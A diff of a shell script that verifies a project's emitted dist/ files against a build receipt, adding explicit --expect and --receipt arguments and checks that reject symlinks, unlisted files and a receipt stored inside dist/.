+    Refusing to report success."
 }
 
-# The per-path half of check_unlisted_bundles. It runs in a re-invocation of
+# Does the receipt name the path $1? Compared as whole strings, never through
-# this script, so it uses the same is_listed and has_marker as the rest of the
+# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
-# file rather than a second copy of them that could drift. Paths arrive as
+# the place to put one. The receipt's own paths are known to carry no
-# arguments and are never split, joined or trimmed.
+# whitespace by the time this runs — verify_receipt failed the run otherwise —
+# so stripping the three leading fields recovers each one exactly.
+receipt_names() {
+    _rn_want="$1"
+    _rn_line=""
+    while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
+        case "$_rn_line" in
+        "file "*) ;;
+        *) continue ;;
+        esac
+        [ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
+    done <"$RECEIPT"
+    return 1
+}
+
+# The per-path half of check_dist_tree. It runs in a re-invocation of this
+# script, so it uses the same helpers as the rest of the file rather than a
+# second copy of them that could drift. Paths arrive as arguments and are never
+# split, joined or trimmed.
 scan_dist_paths() {
     for _file in "$@"; do
-        if is_listed "$_file"; then
+        if [ -h "$_file" ]; then
+            fail "$_file is a symlink under dist/. The build emits regular
+    files only, so this path is not something it produced, and what it points
+    at is not what was verified. Refusing to report success."
+        fi
+        if receipt_names "$_file"; then
             continue
         fi
-        if has_marker "$MARKER_ON" "$_file" ||
+        fail "$_file is under dist/ but the build that just ran did not emit
-            has_marker "$MARKER_OFF" "$_file"; then
+    it. dist/ must contain exactly what the build produced: an extra file there
-            fail "$_file carries a debug marker but is absent from $MANIFEST,
+    is an artifact nothing vouches for, and shipping the directory ships it."
-    so the manifest no longer describes the emitted bundles."
-        fi
     done
 }
 
-# The requested mode, read from our own environment using build.js's exact
+# --- arguments --------------------------------------------------------------
-# rule: only the literal 1 opts in. Deliberately not taken from anything
+
-# build.js records about itself, so build.js cannot vouch for build.js.
+# The expected mode and the receipt are stated by the caller. Nothing is read
-expected_marker() {
+# from the environment, and there is no default for either.
-    if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
+parse_args() {
-        echo "$MARKER_ON"
+    while [ "$#" -gt 0 ]; do
-    else
+        case "$1" in
-        echo "$MARKER_OFF"
+        --expect)
-    fi
+            [ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
+            set_expect "$2"
+            shift 2
+            ;;
+        --expect=*)
+            set_expect "${1#--expect=}"
+            shift
+            ;;
+        --receipt)
+            [ "$#" -ge 2 ] || fail "--receipt needs a path."
+            set_receipt "$2"
+            shift 2
+            ;;
+        --receipt=*)
+            set_receipt "${1#--receipt=}"
+            shift
+            ;;
+        *)
+            usage
+            fail "unknown argument: $1"
+            ;;
+        esac
+    done
 }
 
-main() {
+set_expect() {
-    cd "$ROOT"
+    [ -z "$EXPECT" ] || fail "--expect given more than once."
+    case "$1" in
+    release) EXPECT="$MARKER_OFF" ;;
+    debug) EXPECT="$MARKER_ON" ;;
+    *) fail "--expect takes release or debug, not \"$1\"." ;;
+    esac
+}
 
-    # Internal re-entry from check_unlisted_bundles' xargs. Not part of the
+set_receipt() {
+    [ -z "$RECEIPT" ] || fail "--receipt given more than once."
+    [ -n "$1" ] || fail "--receipt was given an empty path."
+    # Resolved against the caller's directory, before main cd's to the repo
+    # root.
+    case "$1" in
+    /*) RECEIPT="$1" ;;
+    *) RECEIPT="$PWD/$1" ;;
+    esac
+}
+
+# --- main -------------------------------------------------------------------
+
+main() {
+    # Internal re-entry from check_dist_tree's xargs. Not part of the
     # command-line interface: nothing else invokes it, and it is a distinct
     # entry point rather than a mode flag threaded through the checks below.
     if [ "${1-}" = "$SCAN_FLAG" ]; then
         shift
+        [ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
+        RECEIPT="$1"
+        shift
+        cd "$ROOT"
+        [ -r "$RECEIPT" ] ||
+            fail "$RECEIPT became unreadable during the run, so the dist/ tree
+    could not be checked against it. Refusing to report success."
         scan_dist_paths "$@"
         return 0
     fi
 
-    expected="$(expected_marker)"
+    parse_args "$@"
-    echo "Verifying emitted bundles (expecting $expected)..."
+
+    [ -n "$EXPECT" ] || {
+        usage
+        fail "no --expect argument. The mode this build was supposed to produce
+    has to be stated by whoever ran the build; it is not a default and it is
+    not read from AUTISTMASK_DEBUG in this script's environment, because an
+    operator with that exported would then have their debug build verified as
+    the release one they asked for."
+    }
+    [ -n "$RECEIPT" ] || {
+        usage
+        fail "no --receipt argument. The list of files to check comes from the
+    build that just ran, not from dist/: without it, a hand-written dist/ would
+    be verifying itself. make build and make build-debug pass one."
+    }
+
+    pick_sha256
+    cd "$ROOT"
 
     # Asserted here rather than left to grep. A symlinked dist/ used to fail
-    # only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
+    # only because GNU grep exits 2 on a directory, so the tree walk hit
-    # single entry hit has_marker's I/O path by luck; under a grep that exits 1
+    # has_marker's I/O path by luck; under a grep that exits 1 instead, the
-    # instead, the whole cross-check would have collapsed into a pass.
+    # whole cross-check would have collapsed into a pass.
     if [ -h dist ]; then
         fail "dist is a symlink, not a directory. find does not follow a
-    symlink named on its own command line, so the unlisted-bundle cross-check
+    symlink named on its own command line, so the tree walk would see one entry
-    would see one entry instead of the emitted tree and establish nothing about
+    instead of the emitted tree and establish nothing about it. Refusing to
-    it. Refusing to report success."
+    report success."
     fi
     [ -d dist ] ||
         fail "dist is not a directory, so there is no emitted tree to verify.
     build.js writes it; run make build first."
 
-    [ -f "$MANIFEST" ] ||
+    case "$RECEIPT" in
-        fail "$MANIFEST is missing. build.js writes it at the end of a
+    "$ROOT/dist" | "$ROOT/dist/"*)
-    successful build; run make build first."
+        fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
-    [ -s "$MANIFEST" ] ||
+    the tree it describes is rewritten by whoever rewrites the tree, and vouches
-        fail "$MANIFEST is empty, so no emitted bundle was found to contain
+    for nothing. make build keeps it outside the repo."
-    src/shared/constants.js. That is never correct, so it is a failure and not
+        ;;
-    a pass."
+    esac
-    [ -r "$MANIFEST" ] ||
+
-        fail "$MANIFEST is not readable, so nothing was inspected. That is a
+    [ -e "$RECEIPT" ] ||
+        fail "$RECEIPT is missing. build.js writes it at the end of a
+    successful build; run make build rather than invoking this directly."
+    [ -f "$RECEIPT" ] ||
+        fail "$RECEIPT is not a regular file, so it is not a build receipt."
+    [ -s "$RECEIPT" ] ||
+        fail "$RECEIPT is empty, so the build wrote nothing to it and there is
+    no account of what it emitted. build.js writes the receipt last, so an
+    empty one means the build did not finish."
+    [ -r "$RECEIPT" ] ||
+        fail "$RECEIPT is not readable, so nothing was inspected. That is a
     permissions or I/O fault, not a pass."
 
-    count=0
+    echo "Verifying emitted files against the build receipt (expecting" \
-    while read -r file; do
+        "$EXPECT)..."
-        [ -n "$file" ] || continue
-        [ -f "$file" ] ||
-            fail "$MANIFEST lists $file, which does not exist."
-        [ -s "$file" ] ||
-            fail "$MANIFEST lists $file, which is empty. An empty bundle
-    carries no marker and proves nothing, so this is a failure and not a pass."
-        read_marker "$file"
-        [ "$MARKER" = "$expected" ] ||
-            fail "$file is $MARKER but this build expects $expected."
-        echo "  ok: $file ($MARKER)"
-        count=$((count + 1))
-    done <"$MANIFEST"
 
-    [ "$count" -gt 0 ] || fail "no bundles were inspected."
+    # Order matters. The receipt has to be well-formed before it is used as an
+    # expectation, and the tree has to be walkable in full before any single
+    # file in it is pronounced on: a subtree that cannot be descended makes
+    # every file under it look absent, and "could not look" must never be
+    # reported as "was not there".
+    check_receipt_shape
+    check_dist_tree
+    check_receipt_entries
 
-    check_unlisted_bundles
+    echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
-
+        "$AUDITED bundle(s) $EXPECT"
-    echo "verify-build: $count bundle(s) verified $expected"
 }
 
 main "$@"